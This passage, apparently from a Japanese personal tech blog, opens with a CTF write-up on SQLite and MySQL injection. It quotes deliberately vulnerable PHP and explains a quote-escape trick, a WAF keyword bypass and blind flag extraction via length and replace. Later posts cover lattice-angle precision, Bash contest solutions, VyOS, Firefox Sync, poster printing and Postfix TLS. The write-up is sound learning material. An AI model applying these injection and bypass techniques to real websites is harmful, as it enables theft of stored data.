SQLite で構築された検索サイトからフラグを盗み出す問題。DBのスキーマは別途渡されており、 flag というテーブルに最大60文字の flag というカラムがあることが判っている。

ソースコード中に

        if (mb_strlen($keyword) > 2) {
            $words = implode(' ', ngram($keyword));
            $where = "exists (select 1 from `site_fts` where `site`.rowid = `site_fts`.rowid and `words` match '{$words}') or `title` like '%{$keyword}%'";
        } else {
            $where = "`title` like '%{$keyword}%'";
        }

        $result = $pdo->query("select * from `site` where {$where}");

とあり、エスケープもしていないので注入箇所をみつけることそのものは容易だった。しかし、いくつかの関門がある。

まず、第一の関門は先ほど引用したコード中で呼び出されている ngram という関門の突破。以下のように定義されている。

    function ngram($text, $n = 2)
    {
		$return = array();
		$n = (int)$n;

        foreach (array_filter(explode(' ', trim($text))) as $word) {
			$length = mb_strlen($word) - $n;
            if ($length > 0) {
			    for ($i = 0; $i <= $length; $i++) {
			    	$return[] = mb_substr($word, $i, $n);
                }
            } else {
                $return[] = $word;
            }
        }

		return $return;

(必要に応じて字下げがずれているのを修正すると)流し込んだ文字列はここでズタズタにされてしまうことが判る。前半部分にあるためコメントアウトによる無効化もできない。そのため、ここを突破する方法を暫く考えるが、「”’」(アポストロフィ三つ)を流し込むと、ズタズタにされる方では「” ”」となり、エスケープされたアポストロフィー二つとなってそれ以後も文字列とみなされるが、後半部では「”’」となり、エスケープされたアポストロフィーのあとのアポストロフィーでクオート部分が終了して外に出ることができる。(なお、最初、「\\’」を試してうまくいかず、SQLiteのドキュメントを見てSQLiteでは「”」とエスケープすることを知った。)

第二の関門は、彼らが導入したとしているWAFだった。

        if (preg_match('/like|glob|nullif|case|union|sleep|substr|instr|soundex|load/i', $keyword) === 1) {
            exit('WAF~><');
        }

わふ~><

UNION しようとしてもわふーされてしまう。SQLite のドキュメントのSQLite Query Language: SELECTを見ても、抜け道は思いつかない。一応、WHERE句で true false がわかれば 1 bit の情報を密輸できるので、これを繰り返すしかない。先ほどの「Count Number Of Flag’s Substring!」と同様の作戦が使える。

ただし、substrやlikeを使って部分文字列を検索しようとするとわふーされてしまうという第三の関門にあたった。とりあえずlengthは使えたので文字数を調べてみると、フラグは59文字あるようだった。

SQLiteのドキュメントの文字列処理関数一覧を漁っていると、replace がまだわふーされていないことに気づく。length(replace((SELECT flag FROM flag), “flag”, “”)) といったことをすると55文字になることに気づく。これでようやく「Count Number Of Flag’s Substring!」と同様の作戦でフラグを得た。

Yamatonote

YAMLでノートをアップデートできるメモサイト「Yamatonote」からメモを奪う問題。

ソースコードを見ると、とりあえずデータベースへのアクセスのクラスにプレイスホルダらしき概念が導入されているのに、なぜか手で処理していることに気づく。とても怪しい。とはいえ全体を見ている最中だったので続けて他のコードを見るが、YAMLの処理はSQLに流し込まれるだけであり、SQLへのエスケープが適切になされればとりあえずSQLから何かが漏洩するようなものはないと思われた。

そのため、データベース処理の関数、中でもエスケープ周りに注目すると、

        foreach ($param as $key => $value) {
            $value = sprintf("'%s'", mysqli_real_escape_string($this->link, $value));
            $sql = str_replace($key, $value, $sql);
        }

とあった。例えば、 {:key1 => ‘:key2’, ‘:key2’ => ‘ほげ’} というものが入力され、 :key1 が先に処理されれば、例えば

初期値: SELECT * FROM user WHERE id = :key1 AND password = :key2
一周目: SELECT * FROM user WHERE id = ':key2' AND password = :key2
二周目: SELECT * FROM user WHERE id = ''ほげ'' AND password = 'ほげ'

となり、クオートからの脱出まで完了してあとは流しこむだけ状態になっていることがわかる。実際に使うのは INSERT 文なので Yamatodo と類似の戦略が使えるが、Yamatodo と違ってエラーメッセージが表示されるので、むしろ Yamatodo より難易度は低いと感じた。PHPの連想配列でどの順でキーが登場するか調べつつ、新規メモを生成する部分に流し込んで自分のメモに呼び出したいメモを登場させてフラグを得た。

箱庭XSS 2

箱庭XSSのコードをそのまま流し込むとフラグが登場。違いがわからないまま完了。

兵法術

まさかの詰将棋問題。CTFっぽくないし、脳内で探索するとしか言いようがないので省略。電車の中で解いて時間を潰しつつCTFっぽくない問題を潰そうと思っていたら乗り過ごした。

所感など

CTFにまともに個人参加するのは初でしたし、全体の戦果はそれなりに健闘できたと考えています。残った問題はいずれもある程度の時間取り組んだ上で、芸術以外は write up を読んで勉強しようと思える問題でした。また、現に他の参加者の方の write up を読み、例えば Ninja no Aikotoba については折角怪しいと思った strcmp の返り値の処理についての考察が甘すぎたために答えに辿りつけなかった(そして恐らく然るべき考察には自分では辿りつけなかった)ことが明らかになりました。一方で、得点を見れば10位であり、周囲と比較しても一応まともに戦えた順位であると言えると思います。

CTFと云うものに手を付けてからの経験はまだまだ浅いので、今後この方面も楽しんでいきたい、と感じました。

格子点での直線の角度差の最小値

Google Code Jam の2015年の Round 1A のC問題で、格子点との角度を求めて計算をする必要があるような問題がでました。また、他にも格子点が出てきて角度を計算して処理したくなる問題があります。

格子点同士を結んだ任意の二直線の角度差の最小値がわからなかったので考えた結果の覚え書きです。ウェブで探せば既にどこかにありそうな気もしますがまあ。

大きさが l*l になるような格子で格子点を結んだ場合、二つの直線のベクトルをそれぞれ (x1, y1), (x2, y2) とします。

それぞれは 0 から l までです。

この二つの傾きはそれぞれ yi / xi となるので、この二つの傾きの差は

(y1x2 – x1y2) / (x1x2)

となります。格子点なので分子は必ず整数なので、傾きの差は最小でも l-2 となります。

また、逆数の差も必ず l-2 あるので、絶対値の差だけでなく相対的な差も l-2 以上あることになります。

ここで x1 = x2 = l の時、分子がlの倍数になってしまい 1/l より大きくなるので、実は l-2 よりほんのすこし大きくなります。二直線が (l-1, 1) (l, 1) の時、 1 / l(l-1) で最小です。通常その差は意識しないので、以後は l-2 として行きます。

角度差の最小値については、 0から45度(π/4)までを対象に考えます(他の領域でも計算過程が異なるだけで結果は同じになるはずなので)。

d/dx tan-1x = cos2 (tan-1 x) はこの範囲で 1/2 から 1 までの範囲で変化するので、角度の差の最小値は l-2/2 ラジアン、あるいは 90π-1l-2 度ということになります。

従って、計算するのに型を決定したりするにあたっては

傾きの計算と結果: 相対誤差または絶対誤差のうち小さい方が l-2
ラジアンの保存: 絶対誤差が l-2/2
ラジアンについてのEPSの設定: l-2/2 未満

実際には誤差が累積するので、これに対して余裕を持った値ということでしょうか。

なお、doubleは仮数部が52ビットらしいので、20ビットだとラジアンについても累積して41ビットにならなければよいので格子サイズの縦や横が20ビットくらいまで(1e6くらいまで)なら心配する必要はないという感じでしょうか。

変な組み合わせですごく小さな誤差が出るのでは?というのが怖かったのですが、これで安心して書けそうです。

Bashを使ってAtCoder Beginners Contestの簡単な問題を解いてみる

AtCoder Beginners Contest (ABC) において、A, B問題の速解きテンプレートを作成している人も多く見かけます。しかし、たいていはC++が主流となっています。C++では型の扱いなども問題もあるため、このような場面では型がいつの間にか変換されるような言語を用いたほうが楽であると考えられます。

さて、AtCoderでは多様な言語を選択可能で、”Bash”というものも選択可能です。ABCでもC問題以降のようなものをBashで解くのは面倒かと思いますが、A問題、B問題を速く特にあたってBashを利用することは現実味を帯びているとも考えられます。実際のコンテストの解答一覧で検索しても、実際にBashを利用してA問題やB問題を解いている参加者はちらほらいるようです。また、サーバー管理等でも、自分のやりたいことをBashで書けると便利です。

そのため、ABCのA問題、B問題のような問題を解くために必要となるようなコマンドの使い方をある程度調べながら考えていくことにします。

まず、ABC004 A問題「流行」を見てみます。入力が一つで、入力をN(整数)とした時2*Nを返します。入力が一つのシンプルなパターンでは、入力値を取り出すのに

`cat`

とすることができます。また、bash上での整数の四則演算にはexprが使えますから、

expr `cat` \* 2

とすると解けるはずですね(*はそのままだとワイルドカードとみなされ、カレントディレクトリのファイル名一覧として展開されてしまうためエスケープする必要があることに注意しましょう)。しかし、実際にこれを提出するとRuntime Error (RE)となります。これは、exprでは演算結果が0の時exit statusが1となってしまうため、異常終了とみなされてしまうことにあります。そのため、

expr `cat` \* 2
exit 0

とする必要があります。こうするとACとなります。

入力値が複数ある場合はまた考える必要があります。ABC005 A問題「おいしいたこ焼きの作り方」では、標準入力からスペースで区切られたxとyを読み取り、y/xの値(小数点以下切り捨て)を出力する必要があります。

readコマンドを利用すると、複数の入力を複数の変数に入れることができます。

read a b
expr $b / $a
exit 0

とすると解くことができます。

文字列処理の問題が出てくることもあります。ABC010 A問題「ハンドルネーム」では、受け取った文字列の末尾にppをつけます。
まずはsedを使って

sed -e 's/$/pp/'

とかやることで、正規表現一発で済む問題は解くことができます。

また、ABC005 A問題あたりで出てきたテンプレっぽい何かを使って

read a
echo $a'pp'
exit 0

という風にすることもできます。sedなど、標準入力から読み込むコマンドをつかいたければ

read a
echo $a | sed -e 's/$/pp/'
exit 0

などすることもできます。


climpet氏のこの発言に従えば、

read a b c
expr
exit 0

までを事前に用意しておき、問題を読んだら演算結果のみをexprの右に、もし数値演算でなければexprではなくsedなどにすればよいことになります。入力する量はC++で事前にテンプレートを作った場合とそれほど変わらないと思いますが、見た目がシンプルでどこに書くか探しやすいのと、数字ではなく文字列だった場合も対処が楽というメリットがあります。

また、ABC009 B問題「心配性な富豪、ファミリーレストランに行く。」というように、行単位で入力が与えられ、その処理がシンプルに終わる場合、Bashを使うと楽に解けることがあります。

一行目は要らないので(EOFを考えなくても入力できるようになるためのもの)tailコマンドを利用して取り除くことにします。あとは重複を取り除き、大きい方から2番めの数字を取り出すわけですが、それぞれはそういうことをしてくれるコマンドがあるので、

tail -n +2 | sort -n | uniq | tail -n 2 | head -n 1

とすることで楽に求められます。こういうのに慣れると(あとはcutやsedが使えると)目grepだと大変だがそんなに大規模でないログから必要な情報を取り出すのにも役立ちそうです。

また、ABC008 B問題「投票」では、それぞれの行の内容を集計し、最多のものを出す、ということをする必要があります。Bashで集計をするにも、 uniq -c とすると件数を出してくれます。あとはそれを処理すればいいので、

tail -n +2 | sort | uniq -c | sort -n | tail -n 1 | sed -e 's/^ *[0-9]* //g'

とすることができます。

今回はABCのA,B問題ということで基本的なコマンドの色々な挙動を調べつつ覚えていこう、というのが大半になりましたが、Bashでも短くコンパクトに意外と色々なことができます。サーバー上で色々やるために使っていると実際に使用するコードだとPerlなどの既にインストールされたLLのワンライナーを突っ込むこともありますが、ABCのA,B問題のいくつかではよくあるコマンドをパイプすることでBashがコンパクトに解けました。

OSC 2014 Tokyo/Fall参加、LT発表

OSC 2014 Tokyo/Fallに参加してきました。

まじめに記録を取りながら行ってきた、というよりはふらふらと興味があるものを見たり聞いたりしていたのでここにまとめて書くようなこともないのですが、しかしどこに行っても、とは言い過ぎとしてもあちこちでRasberry Piが使われていたりするのは印象的でした。セミナーも幅広く、例えば関数型言語を用いてカーネルを設計したい、みたいなコアなものもあれば流行りのCI/CDに関してまずは導入する観点のものなどもあり、それぞれその観点で面白い話が聞けたりするわけですが、CI/CDなどに行ってみると人が多くさすが流行りの分野、というような感じがしたりはします。いわゆる「怖い人」(いい意味での)がたくさんいらっしゃる一方で、そのような状況に物怖じしてしまうのは難しいところです。その界隈にずっといらっしゃる方と話して一旦こちらから話すような場面になるとどうすればいいのか、などは慣れたいところではありますが難しいところではあります。なんとなく内輪で成立しているのだろうか、と思ってしまうコミュニティでもそうではないようなので積極的に話しかけていくべきなのだろう、とは思いますが。

さて、LTをしてきたので、SlideShareにも置いたのですがここにもスライドを置いておきます。内容は以前までこのブログで登場している、ルーター的なもので競技プログラミングをする、という観点です。実験そのものはブログに登場しているものですが、まとめる過程である程度の考察を加えたいる一方で、時間の都合上、あるいはスライドを書いている時に忘れていたものもあり、色々端折られています。

osc_2014_tokyo_fall_lt

VyOSで競技プログラミングを試みた軌跡

ここ半年ほどやたらと脆弱性のニュースが多い気がしますが、今度はSSLv3周りでPOODLEとかいう名前だけは可愛い脆弱性の話題、古いものを使っているユーザーをどれほど守るかと、どれほどユーザーの安全を守るかという二つの相反する要素の葛藤を強いられている人も多そうですね。

さて、以前に、ルーターで競技プログラミングという記事を書きました。Advent Calendarに向けて書いた記事で、競技プログラミングを引き合いにルーターのパケット割り振りの機能を用いて計算を行うことができるかという記事で、iptablesを使用してある程度繰り返し処理や記憶を伴う計算をある程度することができそうだ、という感じを出しながら一問解くことができました。しかし、この記事には、iptablesなのでルーターっぽくないという問題点がありました。
この問題を解決するための次のステップとして、自由度はそれほど下がらないと思われつつももう少しルーターっぽい感じの操作体系となるVyOSを用いることを考え、昨年の記事の手法をそのままVyOSに適用可能かについて検討しました。

まずは、VyOSのインストールを行います。VyOSのウェブページから最新版のインストーラ(インストールした時は1.0.5だったので1.0.5で試みましたが、最近1.1.0が出たようです。)のイメージをダウンロードし、起動し、初期設定を行いました。VyOSの解説を目的としたわけではないので、必要ならVyOSのUser Guideを参照してください。

さて、ここで、パケット転送を思い通りに行うために必要なコマンドを実行する必要があります。前回の記事で使用したものでは

  • 特定のポートに届いたパケットを特定のホスト・ポートに転送
    • その際、特定のフラグを叩くこともある
    • 特定のフラグが過去60秒に一定回数叩かれていることを前提条件としているものもある

という条件をたくさん設定することにより機能を実現しました。1-65535それぞれのポートがどこに対応するかはPerlで計算した上で予め流し込んでおきました。

今回この手法を設定するにあたり、まずは以下の様なコマンドを用いて転送ができるようでした。

set nat source rule 10 destination port 1
set nat source rule 10 translation address 192.168.150.2
set nat source rule 10 translation port 32769

そして、これの挙動を過去の記憶によって変動させるため、以下の様なコマンドを実行する必要があると思われました。

set nat source rule 10 state new 'hoge'

しかし、これはうまくいきません。

vyos@vyos# set nat source rule 10 state new 'hoge'

  Configuration path: nat source rule 10 [state] is not valid
  Set failed

[edit]

nat sourceのruleに対してstate、というのはうまくいかないようです。firewallについてはうまくいくようですが、これはポートノックや攻撃者をある程度締め出すために使われるようなので、natには不要と判断されるのかもしれません。
これを受け、これと同等のコマンドをウェブ検索や公式ページでの検索で探しましたがみつかりませんでした。

そのため、現状ではVyOSで競技プログラミング、あるいは計算を行うことができていません。今後の課題となると考えられます。

繰り返し処理を行うにあたっては転送によりポートを変えながら何度も転送することは必須と考えられるため、この間にマシン自体の状態を変化させることは、変数を用いた処理を行うのに事実上必要な処理だと思われますが、これができないとなると、VyOSを用いて複雑な計算を行うことは困難であると考えられます。これはルーターで競技プログラミングを行うにあたって重大な障壁であると考えられ、現状では当方では打開策を思いつくに至りません。これについて現状を打破するのにつながる可能性のある情報などがありましたら、是非コメント欄や電子メール、SNSなどでご一報いただければと思います。

FreeBSDでself-hostedなFirefox Sync 1.5

Firefox 29でFirefox Syncのバージョンが上がりました。Firefox Sync 1.5は既存のFirefox Syncと互換性がありません。さすがに既につながっているクライアントはとりあえず使えますが、新しい端末から接続しようとすると新しいバージョンのメニューしかありませんね。

さて、Firefox側が用意しているサーバーは充分安全そう(少なくとも自分で用意するよりは安全そう)だとは思いますが、Firefox Syncサーバーは自分で建てられるので、どういうわけかそういうのを自鯖(やVPS)でやりたくなってしまいますよね。というわけで建ててみるわけですが、FreeBSDだといくつか対処すべき点がありましたので記しておきます。

基本的には、Run your own Sync-1.5 Server — Mozilla Servicesに従えば(virtualenvパッケージを無事に入れることができれば)インストールできるようになっています。しかし、sqlite周りでエラーが発生します。まずはpysqlite2がないと言われますが、easy_installでpysqliteをインストールしようとすると、

src/connection.h:33:10: fatal error: 'sqlite3.h' file not found

と言ってきます。

というわけで、これらに対処した操作手順は以下のようになりました。もとよりFreeBSDに特化した内容ですので、これだけ書けば充分でしょう。なお、FreeBSD標準のcshないしtcshを使っていますので、Bシェル系の場合はactivateの操作でactivate.cshではなくactivateとしてください。

% git clone https://github.com/mozilla-services/syncserver
% cd syncserver/
% gmake build
% source local/bin/activate.csh
% setenv CFLAGS "-I/usr/local/include"
% easy_install pysqlite
% deactivate
% gmake test

あとはsyncserver.iniをいじって、 ./local/bin/pserve syncserver.ini とでもするとサーバーが起動します。このあたりも最初にリンクしたMozillaのウェブページに書いてある通りです。

(7/20追記)上記に関わらず、個人としてはFirefox Sync周りに関しては全てMozillaが用意するサーバーを利用することにしました。従って上記の内容で本当に動作するかは確かめていません。

InkscapeやDrawで大きなファイルを作って分割印刷

さて、写真のように、使えるプリンタで印刷可能なサイズより大きな用紙を使いたいこともあるでしょう。Illustratorを使っている場合には優秀なツールが附属していたような気がしますが、自宅にはそんな高価なアプリケーションソフトウェアはない場合が多いことが多いかと思います。

このような場合、適当に分割印刷したりしますが、余白の扱いがどうなるかよくわからなくて困るところです。まあ頑張ればできるのですが、手間削減のために書いておくことにしました。

LibreOfficeやInkscapeといったオープンソースなソフトウェア、あとは無償配布されているAdobe Readerを用いて分割印刷する方法について、余白周りについて確認したのでメモとしてここに記しておきます。Macで確認しましたが、Windowsでも同様だと思います。

# OSが無償じゃないじゃないか、という声はひとまず聞かなかったことにします。まあ、Linux版のAdobe Readerでも同じだと思いますが。

まず、プリンタで印刷可能な余白に余裕をもたせた上で実際に印刷可能なサイズを決定しましょう。例えば、A4は 210mm x 297mm ですので、余白が上下左右各10mmのプリンタでA0印刷(A4 x 16枚)を行いたい場合は 760mm x 1108mm が印刷可能な領域となります。「重なり」を設定したい場合は更にその分を減ずる必要がありますが、今回は余白あり、重なりなしを想定します。

InkscapeやDrawなど、ポスターの編集ないし最終的な出力で使いたいソフトウェア上で、ドキュメント設定/ページ設定から紙の大きさをカスタム(任意サイズ指定)にし、実際にサイズでのドキュメントを作成しましょう。余白は0mmにします。また、背景色は紙の色と明白に区別がつく色にしましょう(それをすることがコストその他の理由でできない場合は他の方法を検討しましょう)。

そのソフトウェア上で印刷したいものを原寸大で作成し、PDFで吐き出します。印刷したい紙より微妙に小さい謎の大きさのPDFができますね。

そのPDFをAdobe Readerで開きます。左下の「ページ設定」ボタンから正しいプリンタを選択しましょう(どうもダイアログ上部の「プリンター」と独立なようです)。その上で、ページサイズ処理で「ポスター」を選択しましょう。倍率が「100%」になっていることも確認しましょう。

予期した通りの枚数でなければなにがおかしかったか考えましょう。多分予期した通りの枚数になると思います。

この状態で印刷ボタンを押せば、原寸大での出力が行われるようです。

印刷された紙から、共通の各2辺をはさみやカッターで裁ち落とします(背景色が紙と明確に区別がつく理由があるのはこのためです)。2辺は隣り合った辺を選ぶ(平行な2辺を選んではいけない)こと、印刷した全ての紙に対して同じ2辺を選ぶこと(1ページで右と下を裁ち落としたなら2ページ以降も右と下を裁ち落とさなければなりません)に注意しましょう。

そうすると、全ての接合が必要な辺に対し、余白がある部分と余白がない部分が噛み合うようになります。あとは気合いで精度よく貼りあわせましょう。可能ならメンディングテープなどをうまく使って位置を合わせた上でクリスタルテープで裏から貼りあわせましょう。

また、当然ですが、この方法で分割印刷した場合には貼り合わせの精度の影響が出やすいので、分割印刷の境界線上に何が印刷されるかについては細心の注意を払いましょう。Adobe Readerのプレビュー画面では実際に印刷される場合のページの境目がどこに来るかを確認することができます。小さなものがそこに含まれると隙間に飲まれて認識できないほど違った形状になる可能性があります。

ところで、冒頭の写真のそれはそういうことをきちんと調べる前に印刷したものです。基本的なやりかたは似ていますが。

何はともあれ、ひとまずこれが通常のプリンタで大きな紙を印刷する簡便な手法として手っ取り早いと思います。A4で印刷してもしょっぱいなぁ、と思う時にお試しください。

Postfixにおけるメールサーバー間の暗号化

メールは平文でやりとりされるから安全な手段ではないとよく言われます。
まあ、メールという手段がそれほど安全なわけではないのは事実であるのは、今もそれほど変わってはいないように感じます。

メールサーバーとクライアントの間の、submission(メール送信)やPOP3/IMAP(メール受信)は認証を伴うのと、単にユーザーが対応すればよいので、国内大手ISPはともかくメールを主とするサービスであればフリーメールでも暗号化するのが当然となってきました。一方で、メールサーバー間のやりとりは平文でのやりとりで危険とされてきました。まあ、その認識は誤ってはいないのですが、一方でそこを暗号化する規格は今のところないと思っていました。ところがある日、メールヘッダを眺めていたら

Received: from www****.sakura.ne.jp (www****.sakura.ne.jp. [2403:********])
        by mx.google.com with ESMTPS id ******
        for <***@nhiroki.net>
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        ***, ** *** 2013 **** -0800 (PST)

なんでだいぶ前のメールのヘッダを改めてみたのかはともかく、またさくらとGMailの間のやりとりがIPv6だ!というのもともかく、

(version=TLSv1 cipher=RC4-SHA bits=128/128);

んんんっ?

これは暗号化されてやりとりしているのでは?

と思って調べてみたところ、RFC3207で暗号化してSMTPを通信する手段が規格となっており、EHLOコマンドの返答としてSTARTTLSの可否を通知、そこからTLSで暗号化して通信する手段があるとのこと。単に僕が無知だっただけか。

メールサーバー間で暗号化することができれば、メールサーバー群内はともかく、インターネットを利用した通信は基本的に暗号化され、それなりのセキュリティが保たれることになります。もちろんメールサーバー上や、構成によりリレーが多段階に渡る場合はその間のやりとりは(内部ネットワークなど盗聴の心配がないネットワークなのでしょうが)平文になる可能性がありますし、そもそも暗号化をサポートしていないメールサーバーはたくさんあるので想定する必要がありますし、当然メールサーバーの運営者が悪意を持てば盗聴はできるでしょうが、そのあたりさえ信用できればインターネットを通しても安全が保たれることになります。S/MIMEやPGPなどのend to endな暗号化と比べると劣るのは事実ですが、通常利用には利便性と安全性のバランスがとれているといえるでしょう。

というわけで、これを自鯖のPostfixでも実現したいですね。

先に書いておくと、Postfix TLS サポートというウェブページの内容をほぼ参考に自鯖に設定しました。こちらのページを読むといいでしょう。

まず準備として、SSL自体の設定はしてください。submissionを465ポートのSSLとか587ポートからのSTARTTLSで暗号化する方法はあちこちのウェブページにあるでしょう。もちろん、自分で使う場合はオレオレ鍵で充分ですが外から送らせるのでオレオレ鍵はダメです。個人鯖ならStartSSLなどの無償鯖を利用する選択肢もあるでしょうし、商用である場合や個人でもStartComを使いたくない場合はちゃんとした証明書を買いましょう。オレオレ鍵の場合は送信時のみという選択肢があります。

その後の設定は簡単です。main.cfに

smtpd_use_tls=yes
smtpd_tls_received_header = yes
smtp_use_tls=yes

と書きましょう。その後postfixを再起動しましょう。これで完了です。

一、二行目は受信時、三行目は送信時です。テストする場合は別々にしましょう。また、オレオレ鍵しか用意できなかった場合は二行目だけにしておきましょう。

25ポートにつないでEHLOの返答でSTARTTLSが返ってくることや、受信時にtcpdumpしてもSTARTTLSコマンドを確認した後が暗号化された謎のバイト列がくることを確認したりするといいでしょう。また、GMailは暗号化したやりとりはReceivedヘッダでわかるので送信する方はGMailに送るのもありです。

S/MIMEやPGPほどではありませんが、ローコストでそれなりのセキュリティが実現されることになります。とはいえGMailやさくらのメールボックスなどの対応メールサービスのみですが……

また、Postfix TLS サポートには特定サーバーのみポリシーを変える方法も書かれていました。安全性を高めるには、やりとりする相手のメールサーバーについて、平文で接続しないように設定するとよいでしょう。

現実的には暗号化以外受け入れない設定に誰もがするのが安全なので、個人的には、こういうのは大手どこかが「○○ヶ月後からうちは暗号化してないと受信しない」と宣言すれば随分世界中のメールが安全になる気がしますが、まあ現実そうもいかないのでしょうね。

(追記)

ここまで書いておいてなんですが、この設定、普通に運用しているとSTARTTLS使用可否はEHLOへの返答として平文として返されるので、なんかめんどくさい割には中間者攻撃には割と無力な気がしますね。もちろん、特定のホストに大してであればポリシーをサイトごとに設定することで安全性を担保できますが。

現状でメールを使う場合で確実に暗号化された手段を使うには、送信者と受信者が同じメールサーバーを使うか、必要な相手に対してポリシーを設定するか、どちらも特定の相手にしか使えないので結局はPGPかS/MIMEという結論になりますね。STARTTLSの使用可否を安全な方法で通知できる仕組みとかあったらいいんですが。まあ、暗号化がどうしても必要な用途には電子メールは使うな(or PGPやS/MIME使用)、という原則に立ち返りますね。そもそもメールの場合は経路をTLSで暗号化したところでなりすまし防止にもなりませんし。

サーバーのネットワーク設定にご用心

みなさま、あけましておめでとうございます。

さて、新年早々大変残念なミスをやらかしたのでここに。

自宅にあるUbuntuがルーターにもなっていたのですが、先ほど自宅から外へのDNS解決ができなくなっていたので(dnsmasq、LAN内ホストの分は可能だった)ので/etc/resolv.confを見たところ127.0.0.1しかなく、DNSアドレスはPPP接続時に受け取る仕組みになっていたので

$ sudo ifconfig ppp0 down;sudo ifconfig ppp0 up

すると

Write failed: Broken pipe

沈黙しました。外からつながりません。多分中からも繋がっていないと思います。しかも、帰省していて物理的に触れないのでサーバーが外から完全に沈黙してしまったおち。不便。

こういう時(PPP接続をインターネット越しにやり直したい時)はどうやるのが正解なんでしょうか。

(2014/1/4 20:11追記) ifconfig ppp0 downしたあとpon [設定した接続先名]だったらいけたみたいです。どちらにしてもscreenには入れるべきでしたね。